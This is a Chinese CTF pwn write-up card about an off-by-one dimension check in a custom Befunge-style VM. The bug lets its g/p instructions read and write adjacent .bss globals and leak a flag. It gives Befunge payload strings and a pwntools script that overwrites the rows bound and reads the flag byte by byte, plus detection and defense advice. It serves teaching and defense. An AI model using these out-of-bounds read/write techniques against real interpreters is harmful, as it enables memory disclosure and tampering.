自定义 Befunge 类 VM 的 g/p 维度边界用 >rows/>cols:越界读写相邻全局变量泄露 flag
ctf/pwn · verified
一句话结论
自定义 Befunge 类二维 VM 的 g(读棋盘)和 p(写棋盘)指令用 stack[y] > rows / stack[x] > cols 做边界判断,而合法下标是 0..rows-1 / 0..cols-1;传入等于 rows/cols 的坐标即可越界到相邻全局变量(rows/cols/diry/pcx/pcy/flag),先用 g 读出 rows、用 p 把 rows 改为 0xff 扩大窗口,再逐字节读取 flag。
原理
- 程序把 flag 读入 .bss 全局
flag,然后接受最多 4 行输入作为二维棋盘board(rows=50、cols=22,扁平char board[1100]),step()以board[22*pcy + pcx]取当前字符并按 VM 指令解释执行(栈运算、输出、方向控制、g/p、@退出)。 g的实现:先断言sn>=2和坐标非负,再用if (stack[sn-1] > rows || stack[sn-2] > cols) assert;检查范围;由于判断是>而不是>=,坐标y == rows(50)或x == cols(22)能通过检查。随后执行stack[sn-2] = board[22*stack[sn-1] + stack[sn-2]]。board是扁平数组,board[22*50 + x]已经落到 board 之后的 .bss:rows、cols、diry、pcx、pcy 等全局变量,以及更后面的flag;p的检查同样用>,可把栈上的值写进这些相邻全局。- 利用思路:先用 VM 程序把 y=50、x=0 压栈并
g,读出 rows(50);再用p把 rows 改成 0xff(255),使后续g的> rows检查放宽,可从 y=51..254 读到更远的 .bss,包括 flag;配合,指令输出读到的字符。 - flag 相对 board 的偏移固定(原文计算为 52 行 8 列),逐字节设置
(x,y)并读取即可恢复 flag;坐标字节本身可能含换行(如 0x0a)等特殊字符,需要单独构造输入或用空格跳过。 - 根因:VM 的“棋盘尺寸”边界检查与真实数组布局不一致(off-by-one),且扁平数组与敏感全局变量相邻;
g/p是 VM 暴露的任意读写原语。
触发条件
- 目标为自定义 VM/解释器,内存访问指令用维度字段做边界判断但使用
>/<而非>=/<=,或边界取自输入/全局可改。 - VM 工作区数组与敏感数据(flag、密钥、长度字段、控制变量)位于同一 .bss 段且相邻。
- 攻击者可提交 VM 程序/字节码,VM 提供 get/put 类读写指令,并有输出指令可回读数据。
- 目标程序把 flag 等敏感数据放在可越界到达的全局内存中。
利用步骤
- 逆向 VM 指令集与全局布局:确认 board 维度(rows/cols)、
g/p的索引顺序(y*cols+x)、边界判断条件与相邻全局变量。 - 先用 VM 程序读取 rows(y=rows、x=0),确认越界读成功并得到 rows 值。
- 用
p把 rows 写成更大的值(如 0xff),扩大g的允许范围。 - 计算 flag 相对 board 的偏移(原文为 52 行 8 列),构造 VM 程序逐字节读取并用
,输出。 - 对坐标字节含换行/特殊字符的情况单独构造输入;脚本循环 y/x 远程跑。
- 汇总输出得到 flag;记录 VM 程序与坐标。
PoC
VM 程序片段(Befunge 风格):
00!g,@ # `00!` 得 x=0,y=1,g 读 board[1][0](输入第 2 行首字节)并输出,验证 g 指令可用
00!g00!0!gp0!:+0!gv # 读 rows 并将其改为大值
@,gg!0+!0+:!0< # 循环读取并输出越界字符
远程逐字节读取(原文 exp 结构):
from pwn import *
context.log_level = "warn"
res = b""
for y in range(52, 55):
for i in range(0, 24):
io = remote("target", 1337)
io.recvuntil(b"Enter homework sol\n")
io.sendline(b"00!g00!0!gp0!:+0!gv") # 读 rows → 改写为 0xff
io.sendline(b"\xff\x32" + bytes([i, y]) + b" " + b"@,gg!0+!0+:!0<")
io.sendline(b"R")
tmp = io.clean(5)
if b"run" in tmp or b"\x00" in tmp:
io.close()
continue
res += tmp if tmp else b"?"
print(res)
io.close()
# y=50(x=0) 读出 rows=50;p 把 rows 写为 0xff 后,y>50 的 g 即可越界读到 flag。
# 坐标本身为 0x0a(换行)时会导致输入截断,需要单独处理。
变体与关联
- 变体:边界检查用
>而非>=是最常见的 off-by-one;也可能出现在x + y*cols的乘法溢出、dimension 取自输入未校验等。 - 变体:若只有
g(读)没有p(写),可先读 rows/长度等控制字段寻找进一步原语;若只有p,可改控制变量或返回地址等。 - 关联:[[ctf-pwn-bytecode-vm-signed-offset-oob-write-global-command-system]](字节码 VM 有符号偏移越界写相邻全局→system)、[[ctf-pwn-bytecode-sandbox-header-memsize-stack-oob-rop]](边界取自输入头部→栈溢出 ROP)、[[ctf-pwn-custom-vm-opcode-native-memory-got-restart-onegadget]](自定义 VM 原生内存/GOT)。本卡是二维棋盘 VM 的维度 off-by-one → 相邻全局读泄露。
- 边界:
g/p有严格>=边界、board 与敏感数据不相邻、无输出指令、或 flag 不在同一映射内时失效。
检测与防御
- 检测:VM 的
g/p等内存指令边界条件使用>/<;索引等于维度值时仍通过;VM 程序反复访问 y=rows/x=cols 等边界坐标;输出异常全局数据。 - 防御:边界统一使用
0 <= idx && idx < dim;维度与真实分配尺寸绑定;把 VM 内存区与敏感全局隔离(独立分配/守卫页);限制g/p坐标范围并做乘法溢出检查。 - 加固:VM 内存沙箱(独立地址空间/MPU)、编译器/静态检查边界条件、对 VM 程序做配额与审计。